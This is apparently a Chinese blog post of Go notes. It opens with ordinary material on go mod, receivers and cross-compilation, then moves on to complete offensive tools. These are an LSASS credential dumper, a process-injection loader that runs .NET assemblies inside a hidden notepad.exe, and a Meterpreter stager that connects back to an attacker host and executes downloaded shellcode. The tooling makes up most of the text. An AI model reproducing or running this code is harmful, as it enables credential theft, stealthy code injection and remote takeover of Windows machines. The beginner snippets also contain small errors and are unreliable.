go语言编程1
go mod
go mod init: 初始化modules
go mod download: 下载依赖的module到本地cache
go mod edit: 编辑go.mod文件,选项有-json、-require和-exclude,可以使用帮助go help mod edit
go mod graph: 以文本模式打印模块需求图
go mod tidy: 检查,删除错误或者不使用的modules,以及添加缺失的模块 下载位置: GOPATH/pkg/mod
go mod vendor: 生成vendor目录,将依赖复制到vendor目录下面
go mod verify: 验证依赖是否正确
go mod why:解释为什么需要依赖
go list -m:查看主模块的路径
go list -m -f={{.Dir}}:查看主模块的根目录
go list -m all:查看当前的依赖和版本信息
Go语言技巧
goland 调试
goto
接收者
type user struct {
name string,
email string,
}
//这是函数的定义
func notify(email string) {
fmt.Println("Email is %s", email)
}
//这是方法的定义
func (u user) notify(email string) {
fmt.Println("Email is %d", email)
}
接收者有两种,一种是值接收者,一种是指针接收者。顾名思义,值接收者,是接收者的类型是一个值,是一个副本,方法内部无法对其真正的接收者做更改;指针接收者,接收者的类型是一个指针,是接收者的引用,对这个引用的修改之间影响真正的接收者。像上面一样定义方法,将 user
改成 *user
就是指针接收者
golang静态编译
golang 的编译(不涉及 cgo 编译的前提下)默认使用了静态编译,不依赖任何动态链接库。
这样可以任意部署到各种运行环境,不用担心依赖库的版本问题。只是体积大一点而已,存储时占用了一点磁盘,运行时,多占用了一点内存。早期动态链接库的产生,是因为早期的系统的内存资源十分宝贵,由于内存紧张的问题在早期的系统中显得更加突出,因此人们首先想到的是要解决内存使用效率不高这一问题,于是便提出了动态装入的思想。也就产生了动态链接库。在现在的计算机里,操作系统的硬盘内存更大了,尤其是服务器,32G、64G 的内存都是最基本的。可以不用为了节省几百 KB 或者1M,几 M 的内存而大大费周折了。而 golang 就采用这种做法,可以避免各种 so 动态链接库依赖的问题,这点是非常值得称赞的。
显示指定静态编译方法
在Docker化的今天, 我们经常需要静态编译一个Go程序,以便方便放在Docker容器中。 即使你没有引用其它的第三方包,只是在程序中使用了标准库net
,你也会发现你编译后的程序依赖glic,这时候你需要glibc-static库,并且静态连接。
不同的Go版本下静态编译方式还有点不同,在go 1.10下, 下面的方式会尽可能做到静态编译:
CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"' .
效率会提高
解决go参数问题
Go交叉编译
1. Windows下
编译为Linux可运行文件
SET CGO_ENABLED=0
SET GOOS=linux
SET GOARCH=amd64
go build main.go
编译为MAC可运行文件
SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build main.go
编译为Window可运行文件
SET GOOS=windows
go build main.go
2. MAC下
编译为Windows可执行文件
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go
编译为Linux可执行文件
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3. Linux下
编译为Windows可执行文件
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go
编译为MAC可执行文件
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go
gox
安装
go get github.com/mitchellh/gox
使用
1.编译window 64位:
gox -osarch="windows/amd64" ./
2.编译mac 64位:
gox -osarch = "darwin/amd64" ./
3.编译Linux 64位:
gox -osarch="linux/amd64" ./
在当前目录生成二进制文件
#如果我们想生成linux和windows上的程序,只要通过一下命令:
$gox -os "windows linux" -arch amd64
#目录下你就能看到生成出来的两个程序
hello_linux_amd64
hello_windows_amd64.exe
#如果不加参数-arch ...,将编译所有类型
tgox_linux_386
tgox_linux_amd64
tgox_linux_arm
gox_linux_arm64
tgox_linux_mips
tgox_linux_mips64
tgox_linux_mips64le
tgox_linux_mipsle
tgox_linux_ppc64
tgox_linux_ppc64le
tgox_linux_s390x
Go dump和内存加载Csharp
dump hash
package main
import (
"flag"
"fmt"
"github.com/mitchellh/go-ps"
"log"
"os"
"strconv"
"syscall"
"unsafe"
)
const targetProcess string = "lsass.exe"
func elevateProcessToken() error {
type Luid struct {
lowPart uint32
highPart int32
}
type LuidAndAttributes struct {
luid Luid
attributes uint32
}
type TokenPrivileges struct {
privilegeCount uint32
privileges [1]LuidAndAttributes
}
const SeDebugPrivilege = "SeDebugPrivilege"
const tokenAdjustPrivileges = 0x0020
const tokenQuery = 0x0008
var hToken uintptr
user32 := syscall.MustLoadDLL("user32")
defer user32.Release()
kernel32 := syscall.MustLoadDLL("kernel32")
defer user32.Release()
advapi32 := syscall.MustLoadDLL("advapi32")
defer advapi32.Release()
GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
GetLastError := kernel32.MustFindProc("GetLastError")
OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
currentProcess, _, _ := GetCurrentProcess.Call()
result, _, err := OpenProdcessToken.Call(currentProcess, tokenAdjustPrivileges|tokenQuery, uintptr(unsafe.Pointer(&hToken)))
if result != 1 {
fmt.Println("OpenProcessToken(): ", result, " err: ", err)
return err
}
var tkp TokenPrivileges
result, _, err = LookupPrivilegeValue.Call(uintptr(0), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))
if result != 1 {
fmt.Println("LookupPrivilegeValue(): ", result, " err: ", err)
return err
}
const SePrivilegeEnabled uint32 = 0x00000002
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
result, _, err = AdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)
if result != 1 {
fmt.Println("AdjustTokenPrivileges() ", result, " err: ", err)
return err
}
result, _, _ = GetLastError.Call()
if result != 0 {
fmt.Println("GetLastError() ", result)
return err
}
return nil
}
func processDump(pid int) {
//set up Win32 APIs
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var procOpenProcess = kernel32.NewProc("OpenProcess")
var procCreateFileW = kernel32.NewProc("CreateFileW")
process, err := os.FindProcess(pid)
if err == nil {
fmt.Printf("进程 %d 找到 \n", process.Pid)
} else {
fmt.Printf("进程 %d not 没有找到 \n", pid)
os.Exit(1)
}
processHandle, _, err := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))
if processHandle != 0 {
fmt.Println("返回进程的句柄成功")
} else {
fmt.Println("返回进程的句柄失败")
fmt.Println(err)
os.Exit(1)
}
currentDirectory, _ := os.Getwd()
filePath := currentDirectory + "\\" + strconv.Itoa(pid) + ".dmp"
os.Create(filePath)
path, _ := syscall.UTF16PtrFromString(filePath)
fileHandle, _, err := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)
ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)
if ret != 0 {
fmt.Println("成功dump", filePath)
} else {
fmt.Println("失败dump")
fmt.Println(err)
os.Remove(filePath)
}
}
func main() {
var pid int = 0
lsassPtr := flag.Bool("l", false, "选择LSASS")
processPtr := flag.Int("p", 0, "选择PID")
flag.Parse()
if *lsassPtr {
pid = getLsassPid()
} else if *processPtr != 0 {
pid = *processPtr
} else {
fmt.Println("请选择LSASS或者PID")
os.Exit(1)
}
if pid == 0 {
fmt.Println("无效进程")
os.Exit(1)
}
err := elevateProcessToken()
if err != nil {
fmt.Println(err)
os.Exit(1)
}
processDump(pid)
}
func getLsassPid() int {
var pid int
processList, err := ps.Processes()
if err != nil {
log.Println("ps.Processes() Failed")
return 0
}
for x := range processList {
var process ps.Process
process = processList[x]
if process.Executable() == targetProcess {
pid = process.Pid()
}
}
return pid
}
内存加载Csharp
https://github.com/b4rtik/metasploit-execute-assembly/tree/master/HostingCLR_inject
package main
import (
"log"
"os"
"assembly"
)
func main() {
assemblyArgs := os.Args[0]
assemblyBytes := []byte{
...
}
hostingDLL := []byte{
...
}
err := assembly.ExecuteAssembly(hostingDLL, assemblyBytes, assemblyArgs, true)
if err != nil {
log.Fatal(err)
}
}
package assembly
type (
DWORD uint32
)
const (
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
IMAGE_FILE_MACHINE_I386 = 0x014c
IMAGE_FILE_MACHINE_AMD64 = 0x8664
DLL_PROCESS_ATTACH = 1
DLL_THREAD_ATTACH = 2
DLL_THREAD_DETACH = 3
DLL_PROCESS_DETACH = 0
IMAGE_DIRECTORY_ENTRY_EXPORT = 0 // Export Directory
IMAGE_DIRECTORY_ENTRY_IMPORT = 1 // Import Directory
IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 // Resource Directory
IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 // Exception Directory
IMAGE_DIRECTORY_ENTRY_SECURITY = 4 // Security Directory
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 // Base Relocation Table
IMAGE_DIRECTORY_ENTRY_DEBUG = 6 // Debug Directory
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 // Architecture Specific Data
IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 // RVA of GP
IMAGE_DIRECTORY_ENTRY_TLS = 9 // TLS Directory
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 // Load Configuration Directory
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 // Bound Import Directory in headers
IMAGE_DIRECTORY_ENTRY_IAT = 12 // Import Address Table
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 // Delay Load Import Descriptors
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 // COM Runtime descriptor
IMAGE_REL_BASED_HIGHLOW = 3
IMAGE_REL_BASED_DIR64 = 10
IMAGE_ORDINAL_FLAG64 = 0x8000000000000000
IMAGE_ORDINAL_FLAG32 = 0x80000000
)
type ULONGLONG uint64
type LONG uint32
type WORD uint16
type BOOL uint8
type BYTE uint8
type IMAGE_BASE_RELOCATION struct {
VirtualAddress DWORD
SizeOfBlock DWORD
// WORD TypeOffset[1];
}
type IMAGE_IMPORT_BY_NAME struct {
Hint WORD
Name [1]uint8
}
type IMAGE_IMPORT_DESCRIPTOR struct {
/*
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
} DUMMYUNIONNAME;
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
*/
OriginalFirstThunk DWORD
TimeDateStamp DWORD
ForwarderChain DWORD
Name DWORD
FirstThunk DWORD
}
type _IMAGE_NT_HEADERS64 struct {
Signature DWORD
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_NT_HEADERS64 _IMAGE_NT_HEADERS64
type IMAGE_NT_HEADERS IMAGE_NT_HEADERS64
type _IMAGE_DATA_DIRECTORY struct {
VirtualAddress DWORD
Size DWORD
}
type IMAGE_DATA_DIRECTORY _IMAGE_DATA_DIRECTORY
type _IMAGE_OPTIONAL_HEADER64 struct {
Magic WORD
MajorLinkerVersion BYTE
MinorLinkerVersion BYTE
SizeOfCode DWORD
SizeOfInitializedData DWORD
SizeOfUninitializedData DWORD
AddressOfEntryPoint DWORD
BaseOfCode DWORD
ImageBase ULONGLONG
SectionAlignment DWORD
FileAlignment DWORD
MajorOperatingSystemVersion WORD
MinorOperatingSystemVersion WORD
MajorImageVersion WORD
MinorImageVersion WORD
MajorSubsystemVersion WORD
MinorSubsystemVersion WORD
Win32VersionValue DWORD
SizeOfImage DWORD
SizeOfHeaders DWORD
CheckSum DWORD
Subsystem WORD
DllCharacteristics WORD
SizeOfStackReserve ULONGLONG
SizeOfStackCommit ULONGLONG
SizeOfHeapReserve ULONGLONG
SizeOfHeapCommit ULONGLONG
LoaderFlags DWORD
NumberOfRvaAndSizes DWORD
DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY
}
type IMAGE_OPTIONAL_HEADER64 _IMAGE_OPTIONAL_HEADER64
type IMAGE_OPTIONAL_HEADER IMAGE_OPTIONAL_HEADER64
type _IMAGE_FILE_HEADER struct {
Machine WORD
NumberOfSections WORD
TimeDateStamp DWORD
PointerToSymbolTable DWORD
NumberOfSymbols DWORD
SizeOfOptionalHeader WORD
Characteristics WORD
}
type IMAGE_FILE_HEADER _IMAGE_FILE_HEADER
type _IMAGE_DOS_HEADER struct { // DOS .EXE header
E_magic WORD // Magic number
E_cblp WORD // Bytes on last page of file
E_cp WORD // Pages in file
E_crlc WORD // Relocations
E_cparhdr WORD // Size of header in paragraphs
E_minalloc WORD // Minimum extra paragraphs needed
E_maxalloc WORD // Maximum extra paragraphs needed
E_ss WORD // Initial (relative) SS value
E_sp WORD // Initial SP value
E_csum WORD // Checksum
E_ip WORD // Initial IP value
E_cs WORD // Initial (relative) CS value
E_lfarlc WORD // File address of relocation table
E_ovno WORD // Overlay number
E_res [4]WORD // Reserved words
E_oemid WORD // OEM identifier (for E_oeminfo)
E_oeminfo WORD // OEM information; E_oemid specific
E_res2 [10]WORD // Reserved words
E_lfanew LONG // File address of new exe header
}
type IMAGE_DOS_HEADER _IMAGE_DOS_HEADER
const (
IMAGE_SIZEOF_SHORT_NAME = 8
)
type _IMAGE_SECTION_HEADER struct {
Name [IMAGE_SIZEOF_SHORT_NAME]BYTE
//union {
//DWORD PhysicalAddress;
//DWORD VirtualSize;
//} Misc;
Misc DWORD
VirtualAddress DWORD
SizeOfRawData DWORD
PointerToRawData DWORD
PointerToRelocations DWORD
PointerToLinenumbers DWORD
NumberOfRelocations WORD
NumberOfLinenumbers WORD
Characteristics DWORD
}
type IMAGE_SECTION_HEADER _IMAGE_SECTION_HEADER
type IMAGE_EXPORT_DIRECTORY struct {
Characteristics DWORD
TimeDateStamp DWORD
MajorVersionv WORD
MinorVersion WORD
Name DWORD
Base DWORD
NumberOfFunctions DWORD
NumberOfNames DWORD
AddressOfFunctions DWORD // RVA from base of image
AddressOfNames DWORD // RVA from base of image
AddressOfNameOrdinals DWORD // RVA from base of image
}
//go:build windows
// +build windows
package assembly
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"log"
"os"
"os/exec"
"runtime"
"strings"
"syscall"
"time"
"unsafe"
)
const (
PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
MEM_COMMIT = 0x001000
MEM_RESERVE = 0x002000
STILL_RUNNING = 259
EXPORTED_FUNCTION_NAME = "ReflectiveLoader"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
procGetExitCodeThread = kernel32.MustFindProc("GetExitCodeThread")
)
func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) {
r1, _, e1 := procVirtualAllocEx.Call(
uintptr(process),
addr,
uintptr(size),
uintptr(allocType),
uintptr(protect))
if int(r1) == 0 {
return r1, os.NewSyscallError("VirtualAllocEx", e1)
}
return r1, nil
}
func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) {
var nLength uint32
r1, _, e1 := procWriteProcessMemory.Call(
uintptr(process),
addr,
uintptr(buf),
uintptr(size),
uintptr(unsafe.Pointer(&nLength)))
if int(r1) == 0 {
return nLength, os.NewSyscallError("WriteProcessMemory", e1)
}
return nLength, nil
}
func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) {
var threadID uint32
r1, _, e1 := procCreateRemoteThread.Call(
uintptr(process),
uintptr(unsafe.Pointer(sa)),
uintptr(stackSize),
startAddress,
parameter,
uintptr(creationFlags),
uintptr(unsafe.Pointer(&threadID)))
runtime.KeepAlive(sa)
if int(r1) == 0 {
return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1)
}
return syscall.Handle(r1), threadID, nil
}
func getExitCodeThread(threadHandle syscall.Handle) (uint32, error) {
var exitCode uint32
r1, _, e1 := procGetExitCodeThread.Call(
uintptr(threadHandle),
uintptr(unsafe.Pointer(&exitCode)))
if r1 == 0 {
return exitCode, e1
}
return exitCode, nil
}
// ExecuteAssembly loads a .NET CLR hosting DLL inside a notepad.exe process
// along with a provided .NET assembly to execute.
func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {
AssemblySizeArr := convertIntToByteArr(len(assembly))
ParamsSizeArr := convertIntToByteArr(len(params) + 1) // +1 accounts for the trailing null
cmd := exec.Command("notepad.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
}
var stdoutBuf, stderrBuf bytes.Buffer
cmd.Stdout = &stdoutBuf
cmd.Stderr = &stderrBuf
cmd.Start()
pid := cmd.Process.Pid
// OpenProcess with PROC_ACCESS_ALL
handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
if err != nil {
return err
}
// VirtualAllocEx to allocate a new memory segment into the target process
hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
if err != nil {
return err
}
// WriteProcessMemory to write the reflective loader into the process
_, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
if err != nil {
return err
}
log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)
// VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args
assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
if err != nil {
return err
}
// 4 bytes Assembly Size
// 4 bytes Params Size
// 1 byte AMSI bool 0x00 no 0x01 yes
// parameter bytes
// assembly bytes
payload := append(AssemblySizeArr, ParamsSizeArr...)
if amsi {
payload = append(payload, byte(1))
} else {
payload = append(payload, byte(0))
}
payload = append(payload, []byte(params)...)
payload = append(payload, '\x00')
payload = append(payload, assembly...)
// WriteProcessMemory to write the .NET assembly + args
_, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))
if err != nil {
return err
}
log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)
// CreateRemoteThread(DLL addr + offset, assembly addr)
attr := new(syscall.SecurityAttributes)
functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)
threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+uintptr(functionOffset)), uintptr(assemblyAddr), 0)
if err != nil {
return err
}
log.Println("Got thread handle:", threadHandle)
for {
code, err := getExitCodeThread(threadHandle)
if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
log.Fatalln(err.Error())
}
if code == STILL_RUNNING {
time.Sleep(1000 * time.Millisecond)
} else {
break
}
}
//cmd.Process.Kill()
outStr, errStr := stdoutBuf.String(), stderrBuf.String()
fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)
return nil
}
func convertIntToByteArr(num int) (arr []byte) {
// This does the same thing as the union used in the DLL to convert intValue to byte array and back
arr = append(arr, byte(num%256))
v := num / 256
arr = append(arr, byte(v%256))
v = v / 256
arr = append(arr, byte(v%256))
v = v / 256
arr = append(arr, byte(v))
return
}
func findRawFileOffset(pSourceBytes []byte, exportedFunctionName string) (rawOffset DWORD, err error) {
var pImageHeader IMAGE_DOS_HEADER
var pOldNtHeader IMAGE_NT_HEADERS
var pOldOptHeader IMAGE_OPTIONAL_HEADER
var pOldFileHeader IMAGE_FILE_HEADER
// we will re read portions of the byte array into data structs
// Set back to start
rdrBytes := bytes.NewReader(pSourceBytes)
err = binary.Read(rdrBytes, binary.LittleEndian, &pImageHeader)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for pImageHeader : %s\n", err)
}
// Check the Magic Byte
if pImageHeader.E_magic != 0x5A4D {
err = errors.New("Invalid File Format")
return
}
// Just Read the NTHeader from the DLL and cast it pOldNtHeader
ntHeaderOffset := pImageHeader.E_lfanew
const sizeOfNTHeader = unsafe.Sizeof(pOldNtHeader)
// Set the position at the ntHeaderOffset
rdrBytes = bytes.NewReader(pSourceBytes[ntHeaderOffset:])
err = binary.Read(rdrBytes, binary.LittleEndian, &pOldNtHeader)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for pOldNtHeader : %s\n", err)
return
}
// populate the Optional Header
pOldOptHeader = pOldNtHeader.OptionalHeader
pOldFileHeader = pOldNtHeader.FileHeader
// Where is the export table?
var exportTableAddress DWORD
exportTableAddress = pOldOptHeader.DataDirectory[0].VirtualAddress
var sectionHeaderOffset uint16
sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)
var sectionHeader IMAGE_SECTION_HEADER
const sectionHeaderSize = unsafe.Sizeof(sectionHeader)
var i WORD
// look for the exports
section := 0
var sectionName [8]BYTE
var pointerToCodeRawData DWORD
var virtualOffsetForCode DWORD
for i = 0; i != pOldFileHeader.NumberOfSections; i++ {
rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])
err = binary.Read(rdrBytes, binary.LittleEndian, §ionHeader)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s", err.Error())
return
}
// We need to find the .text section to capture the code offset and virtual address
var secName []byte
for _, b := range sectionHeader.Name {
if b == 0 {
break
}
secName = append(secName, byte(b))
}
if bytes.Contains(secName, []byte(".text")) {
virtualOffsetForCode = sectionHeader.VirtualAddress
virtualOffsetForCode = sectionHeader.VirtualAddress
pointerToCodeRawData = sectionHeader.PointerToRawData
// This is for finding the DLLMain
}
// For Export table
if sectionHeader.VirtualAddress > exportTableAddress {
break
}
sectionName = sectionHeader.Name
section++
sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)
}
sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)
// process each section
for i = 0; i != pOldFileHeader.NumberOfSections; i++ {
// Read in the bytes to make up the sectionHeader
// Set the position at the ntHeaderOffset
rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])
err = binary.Read(rdrBytes, binary.LittleEndian, §ionHeader)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s\n", err)
return
}
if sectionHeader.SizeOfRawData > 0 {
source := make([]byte, sectionHeader.SizeOfRawData)
// Set the position at the ntHeaderOffset
rdrBytes = bytes.NewReader(pSourceBytes[sectionHeader.PointerToRawData:])
err = binary.Read(rdrBytes, binary.LittleEndian, &source)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for source : %s\n", err)
return
}
if sectionHeader.Name == sectionName {
// Let's get the Data Dictionary for the Export table
addrOffset := exportTableAddress - sectionHeader.VirtualAddress
var exportDirectory IMAGE_EXPORT_DIRECTORY
length := unsafe.Sizeof(exportDirectory)
offset := sectionHeader.PointerToRawData + DWORD(addrOffset)
rdrBytes = bytes.NewReader(pSourceBytes[offset : offset+DWORD(length)])
err = binary.Read(rdrBytes, binary.LittleEndian, &exportDirectory)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for fragment : %s\n", err)
return
}
//Let's process the names in order to identify the exported function that we are looking for
addr := sectionHeader.PointerToRawData + exportDirectory.AddressOfNames - sectionHeader.VirtualAddress
addrBytes, e := getAddress(pSourceBytes, DWORD(addr), 4)
if e != nil {
err = e
log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err)
return
}
expOffset := 0
for i := len(addrBytes) - 1; i >= 0; i-- {
expOffset *= 256
expOffset += int(addrBytes[i])
}
// Now let's read the value at the the identified address
// To do so we need to find the raw offset in the source bytes
addr = sectionHeader.PointerToRawData + DWORD(expOffset) - sectionHeader.VirtualAddress
nameLength := len(exportedFunctionName) + 1
addrBytes, err = getAddress(pSourceBytes, addr, uint32(nameLength))
if err != nil {
log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err.Error())
return
}
var name []byte
for _, b := range addrBytes {
if b == 0 {
break
}
name = append(name, b)
}
if bytes.Contains(name, []byte("?"+exportedFunctionName)) {
//fmt.Println(" **** FOUND ****")
// let's get the address for this function
addr = sectionHeader.PointerToRawData + exportDirectory.AddressOfFunctions - sectionHeader.VirtualAddress
addrBytes, err = getAddress(pSourceBytes, addr, 4)
if err != nil {
log.Printf("Failure Reading dll in binary mode, for AddressOfFunctions : %s\n", err.Error())
return
}
//fmt.Printf("\nexportDirectory.AddressOfFunctions @ %x %x %x\n", exportDirectory.AddressOfFunctions, addrBytes, addrBytes)
expOffset = 0
for i := len(addrBytes) - 1; i >= 0; i-- {
expOffset *= 256
expOffset += int(addrBytes[i])
}
// Because we are looking for the position in the file we need to convert the address from in memory
// to where it is in the raw file
rawOffset = pointerToCodeRawData + DWORD(expOffset) - virtualOffsetForCode
return
}
}
}
// Increment the section header the size of the the section header
sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)
}
return 0, errors.New("Export not found")
}
func getAddress(source []byte, offset DWORD, length uint32) (result []byte, err error) {
result = make([]byte, length)
rdrBytes := bytes.NewReader(source[offset : offset+DWORD(length)])
err = binary.Read(rdrBytes, binary.LittleEndian, &result)
return
}
func IMAGE_FIRST_SECTION(offset LONG, ntHeader IMAGE_NT_HEADERS) uint16 {
//We need to find the starting address of the Section Images
var x IMAGE_NT_HEADERS
const sizeSignature = unsafe.Sizeof(x.Signature)
const sizeFileHeader = unsafe.Sizeof(x.FileHeader)
const sizeOptHeader = unsafe.Sizeof(x.OptionalHeader)
total := uint16(uintptr(offset) + sizeSignature + sizeFileHeader + sizeOptHeader)
return total
}
GO MSF
package main
import (
"bufio"
"encoding/binary"
"fmt"
"io"
"log"
"net"
"os"
"reflect"
"strings"
"syscall"
"unsafe"
)
func main() {
var (
addr string
conn net.Conn
lsnr net.Listener
err error
)
fmt.Println("letme.go - Minimalistic Meterpreter stager written in Go")
fmt.Println("Copyright (c) 2021 Marco Ivaldi <raptor@0xdeadbeef.info>")
fmt.Println()
// Parse the command line
switch len(os.Args) {
case 1:
addr = ":4444"
case 2:
addr = os.Args[1]
default:
usage()
}
switch {
case strings.HasPrefix(addr, "-"):
usage()
// Start a bind_tcp stager
case strings.HasPrefix(addr, ":"):
if arg := strings.Split(addr, ":"); arg[1] == "" {
usage()
}
fmt.Printf("Using bind_tcp stager (%v)\n\n", addr)
if lsnr, err = net.Listen("tcp", addr); err != nil {
log.Fatalln(err.Error())
}
defer lsnr.Close()
if conn, err = lsnr.Accept(); err != nil {
log.Fatalln(err.Error())
}
defer conn.Close()
// Start a reverse_tcp stager
default:
fmt.Printf("Using reverse_tcp stager (%v)\n\n", addr)
if conn, err = net.Dial("tcp", addr); err != nil {
log.Fatalln(err.Error())
}
defer conn.Close()
}
// Receive and execute the payload
payload, err := receivePayload(conn)
execPayload(payload)
}
// Print usage and exit
func usage() {
fmt.Println("Usage:")
fmt.Println("C:\\> letme.exe [:port | host:port]")
fmt.Println("\nExamples:")
fmt.Println("C:\\> letme.exe :4444")
fmt.Println("C:\\> letme.exe 192.168.0.66:4444")
os.Exit(1)
}
// Helper function to get net.Conn's underlying socket descriptor
func GetFdFromConn(conn net.Conn) (fd uint) {
v := reflect.ValueOf(conn)
netFD := reflect.Indirect(reflect.Indirect(v).FieldByName("fd"))
pfd := reflect.Indirect(netFD.FieldByName("pfd"))
fd = uint(pfd.FieldByName("Sysfd").Uint())
return
}
// Receive a Meterpreter payload via TCP
func receivePayload(conn net.Conn) (payload []byte, err error) {
r := bufio.NewReader(conn)
// Read the 4-byte payload length and allocate payload buffer
tmp := make([]byte, 4)
if _, err = io.ReadFull(r, tmp); err != nil {
return
}
length := binary.LittleEndian.Uint32(tmp[:])
payload = make([]byte, length+5)
// Prepend some ASM to MOV the socket handle into EDI
// MOV EDI, 0x12345678 ; BF 78 56 34 12
fd := GetFdFromConn(conn)
payload[0] = 0xbf
binary.LittleEndian.PutUint32(payload[1:5], uint32(fd))
// Download the Meterpreter payload
if _, err = io.ReadFull(r, payload[5:]); err != nil {
return
}
return
}
// Execute a Windows payload
func execPayload(payload []byte) {
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
INFINITE = 0xffffffff
)
// Allocate a RWX memory region
kernel32 := syscall.MustLoadDLL("kernel32.dll")
_VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
ptr, _, _ := _VirtualAlloc.Call(0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
// Copy the payload
_RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
_RtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
// Execute the payload
_CreateThread := kernel32.MustFindProc("CreateThread")
th, _, _ := _CreateThread.Call(0, 0, ptr, 0, 0, 0)
// Wait for the thread to finish running
_WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
_WaitForSingleObject.Call(th, INFINITE)
}
- 点赞
- 收藏
- 关注作者
